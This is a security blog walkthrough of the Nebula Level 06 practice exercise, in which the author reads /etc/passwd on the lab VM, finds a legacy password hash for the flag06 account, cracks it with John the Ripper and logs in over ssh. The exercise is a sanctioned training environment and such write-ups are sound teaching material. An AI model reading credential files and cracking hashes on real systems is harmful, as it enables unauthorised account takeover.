<!DOCTYPE html>
<html lang="en">

  <head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.0.2/cookieconsent.min.css" />
<script async defer src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.0.2/cookieconsent.min.js"></script>
<script>
window.addEventListener("load", function(){
window.cookieconsent.initialise({
  "palette": {
    "popup": {
      "background": "#424242"
    },
    "button": {
      "background": "#2a7ae2"
    }
  },
  "content": {
    "href": "/privacy-policy"
  }
})});
</script>
  
  
  
  <title>Exploit Exercises: Nebula Level 06</title>
  <meta name="description" content="">
  
    
    <meta name="keywords" content="Lucian Nitescu nebula writeups level flag getflag exploit exercise tutorial solution">
  

  <link rel="stylesheet" href="/assets/main.css">
  <link rel="canonical" href="https://nitesculucian.github.io/2018/07/16/exploit-exercises-nebula-level-06/">
  
  
  <link rel="alternate" type="application/rss+xml" title="Lucian Nitescu" href="https://nitesculucian.github.io/feed.xml">
  <meta name="flattr:id" content="njnwdo">
  <!-- Hotjar Tracking Code for https://nitesculucian.github.io/ -->
<script>
    (function(h,o,t,j,a,r){
        h.hj=h.hj||function(){(h.hj.q=h.hj.q||[]).push(arguments)};
        h._hjSettings={hjid:1067531,hjsv:6};
        a=o.getElementsByTagName('head')[0];
        r=o.createElement('script');r.async=1;
        r.src=t+h._hjSettings.hjid+j+h._hjSettings.hjsv;
        a.appendChild(r);
    })(window,document,'https://static.hotjar.com/c/hotjar-','.js?sv=');
</script>

<script async custom-element="amp-auto-ads"
        src="https://cdn.ampproject.org/v0/amp-auto-ads-0.1.js">
</script>


    
    
    
    	
    
    	
    		
    			
    			<meta property="og:image" content="https://nitesculucian.github.io/uploads/Screenshot%20from%202018-07-16%2000-20-16.png" alt="Image of Nebula Terminal" " />
    			<meta name="twitter:image" content="https://nitesculucian.github.io/uploads/Screenshot%20from%202018-07-16%2000-20-16.png" alt="Image of Nebula Terminal" " />
    			
    		
        
    


  
  <meta name="twitter:card" content="summary">
  
  <meta name="twitter:title" content="Exploit Exercises: Nebula Level 06">
  <meta name="twitter:description" content="">
  
  
  
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css?family=Bitter:400,400i,700" rel="stylesheet">

  
  <!-- Google Analytics -->
  <script>
    (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
    m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
    })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

    ga('create', 'UA-107695141-1', 'auto');
    ga('send', 'pageview');

  </script>


</head>


  <body>

    <header class="site-header">

  <div class="wrapper">

    <a class="site-title" href="/">Lucian Nitescu</a>

    <nav class="site-nav">
      
        
        <a class="page-link" href="/">Home</a>
      
        
        <a class="page-link" href="/about/">Whoami</a>
      
        
        <a class="page-link" href="/archives/">Archives</a>
      
    </nav>
    <br>Security Blog
  </div>

</header>


    <main class="page-content" aria-label="Content">
      <div class="wrapper">
        <article class="post" itemscope itemtype="http://schema.org/BlogPosting">

  <header class="post-header">
    
    <h1 class="post-title" itemprop="name headline">Exploit Exercises: Nebula Level 06</h1>
    
    <p class="post-meta"><time datetime="2018-07-16T15:48:00-03:00" itemprop="datePublished">Jul 16, 2018</time> •
  
    
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
        <a href="/categories/nebula/">nebula</a>,
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
  
    
    
      
    
      
    
      
    
      
    
      
    
      
    
      
        <a href="/categories/writeups/">writeups</a>
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
  



</p>
  </header>

  <hr>

  <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
  <!-- all pages -->
  <ins class="adsbygoogle"
  style="display:block"
  data-ad-client="ca-pub-0255642880549652"
  data-ad-slot="6220756861"
  data-ad-format="auto"
  data-full-width-responsive="true"></ins>
  <script>
    (adsbygoogle = window.adsbygoogle || []).push({});
  </script>

  <hr>

  <div class="post-content" itemprop="articleBody" style="word-wrap:break-word">
    <p><img src="/uploads/Screenshot%20from%202018-07-16%2000-20-16.png" alt="Image of Nebula Terminal" /></p>

<p>The flag06 account credentials came from a legacy unix system.
To do this level, log in as the level06 account with the password level06. Files for this level can be found in /home/flag06.</p>

<h3 id="source-code">Source code</h3>

<p>There is no source code available for this level.</p>

<h3 id="solution">Solution</h3>

<p>Well this exercises is so easy that I do not know why am I writing it anymore. Our first, and final hint, was: “The flag06 account credentials came from a legacy unix system.” In other words let’s see what we have in /etc/passwd or /etc/shadow.</p>

<p>/etc/shadow:</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">level06@nebula:~$</span> <span class="nb">cat</span> /etc/shadow
<span class="go">cat: /etc/shadow: Permission denied
</span><span class="gp">level06@nebula:~$</span>
<span class="go">Of course, we do not have any kind of permission on /etc/shadow system file.
/etc/passwd:
</span><span class="gp">level06@nebula:~$</span> <span class="nb">cat</span> /etc/passwd
<span class="go">root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:104::/var/run/dbus:/bin/false
nebula:x:1000:1000:nebula,,,:/home/nebula:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
level00:x:1001:1001::/home/level00:/bin/sh
flag00:x:999:999::/home/flag00:/bin/sh
level01:x:1002:1002::/home/level01:/bin/sh
flag01:x:998:998::/home/flag01:/bin/sh
level02:x:1003:1003::/home/level02:/bin/sh
flag02:x:997:997::/home/flag02:/bin/sh
level03:x:1004:1004::/home/level03:/bin/sh
flag03:x:996:996::/home/flag03:/bin/sh
level04:x:1005:1005::/home/level04:/bin/sh
flag04:x:995:995::/home/flag04:/bin/sh
level05:x:1006:1006::/home/level05:/bin/sh
flag05:x:994:994::/home/flag05:/bin/sh
level06:x:1007:1007::/home/level06:/bin/sh
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
level07:x:1008:1008::/home/level07:/bin/sh
flag07:x:992:992::/home/flag07:/bin/sh
level08:x:1009:1009::/home/level08:/bin/sh
flag08:x:991:991::/home/flag08:/bin/sh
level09:x:1010:1010::/home/level09:/bin/sh
flag09:x:990:990::/home/flag09:/bin/sh
level10:x:1011:1011::/home/level10:/bin/sh
flag10:x:989:989::/home/flag10:/bin/sh
level11:x:1012:1012::/home/level11:/bin/sh
flag11:x:988:988::/home/flag11:/bin/sh
level12:x:1013:1013::/home/level12:/bin/sh
flag12:x:987:987::/home/flag12:/bin/sh
level13:x:1014:1014::/home/level13:/bin/sh
flag13:x:986:986::/home/flag13:/bin/sh
level14:x:1015:1015::/home/level14:/bin/sh
flag14:x:985:985::/home/flag14:/bin/sh
level15:x:1016:1016::/home/level15:/bin/sh
flag15:x:984:984::/home/flag15:/bin/sh
level16:x:1017:1017::/home/level16:/bin/sh
flag16:x:983:983::/home/flag16:/bin/sh
level17:x:1018:1018::/home/level17:/bin/sh
flag17:x:982:982::/home/flag17:/bin/sh
level18:x:1019:1019::/home/level18:/bin/sh
flag18:x:981:981::/home/flag18:/bin/sh
level19:x:1020:1020::/home/level19:/bin/sh
flag19:x:980:980::/home/flag19:/bin/sh
</span><span class="gp">level06@nebula:~$</span>
</code></pre></div></div>

<p>Jakpot! We got “flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh”, meaning we got the hash of the password of the flag06 account. How we actually retrieve the password of the flag06 account? Simple:</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">nli@mysystem:~$</span> <span class="nb">sudo </span>apt <span class="nb">install </span>john
<span class="go">Fetched 4.447 kB in 2s (1.649 kB/s)
Selecting previously unselected package john-data.
(Reading database ... 407903 files and directories currently installed.)
Preparing to unpack .../john-data_1.8.0-2_all.deb ...
Unpacking john-data (1.8.0-2) ...
Selecting previously unselected package john.
Preparing to unpack .../john_1.8.0-2_amd64.deb ...
Unpacking john (1.8.0-2) ...
Processing triggers for man-db (2.7.5-1) ...
Setting up john-data (1.8.0-2) ...
Setting up john (1.8.0-2) ...
</span><span class="gp">nli@mysystem:~$</span> <span class="nb">echo</span> <span class="s1">'flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh'</span> <span class="o">&gt;</span> ./flag06.passwd
<span class="gp">nli@mysystem:~$</span> john ./flag06.passwd
<span class="go">Created directory: /home/nli/.john
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
hello            (flag06)
1g 0:00:00:00 100% 2/3 33.33g/s 25100p/s 25100c/s 25100C/s 123456..marley
Use the "--show" option to display all of the cracked passwords reliably
Session completed
</span><span class="gp">nli@mysystem:~$</span>
</code></pre></div></div>

<p>Amazing the password was so strong. It took me 0:00:00:00 seconds to both guess, hash my guessed password and check my hash with the provided hash. As we can see the password is “hello”. For the grand final:</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">level06@nebula:~$</span> ssh flag06@localhost
<span class="go">The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


flag06@localhost's password:
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


</span><span class="gp">The programs included with the Ubuntu system are free software;</span>
<span class="go">the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

</span><span class="gp">flag06@nebula:~$</span> getflag
<span class="go">You have successfully executed getflag on a target account
</span><span class="gp">flag06@nebula:~$</span>
</code></pre></div></div>

<p>If you enjoyed this tutorial then share and like!</p>

  </div>

  <hr>
  
  <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
  <!-- all pages -->
  <ins class="adsbygoogle"
  style="display:block"
  data-ad-client="ca-pub-0255642880549652"
  data-ad-slot="6220756861"
  data-ad-format="auto"
  data-full-width-responsive="true"></ins>
  <script>
    (adsbygoogle = window.adsbygoogle || []).push({});
  </script>


  
  <div class="post-comments" itemprop="comment">
    <hr />
<h1>Comments</h1>
<div id="disqus_thread"></div>
<script>

/**
*  RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.
*  LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/
/*
var disqus_config = function () {
this.page.url = PAGE_URL;  // Replace PAGE_URL with your page's canonical URL variable
this.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable
};
*/
(function() { // DON'T EDIT BELOW THIS LINE
var d = document, s = d.createElement('script');
s.src = 'https://nitesculucian.disqus.com/embed.js';
s.setAttribute('data-timestamp', +new Date());
(d.head || d.body).appendChild(s);
})();
</script>
<noscript>Please enable JavaScript to view the <a href="https://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>

  </div>
  

</article>

      </div>
    </main>

    <footer class="site-footer">

  <div class="wrapper">

    <p>
      

&copy; Lucian Nitescu - Powered by <a href="https://jekyllrb.com">Jekyll</a> &amp; <a href="https://github.com/yous/whiteglass">whiteglass</a> - Subscribe via <a href="https://nitesculucian.github.io/feed.xml">RSS</a>

      | <a href="/privacy-policy" >Privacy Policy</a>
      | <a href="/legal-disclaimer" >Legal Disclaimer</a>
    </p>

  </div>

</footer>


  </body>

</html>
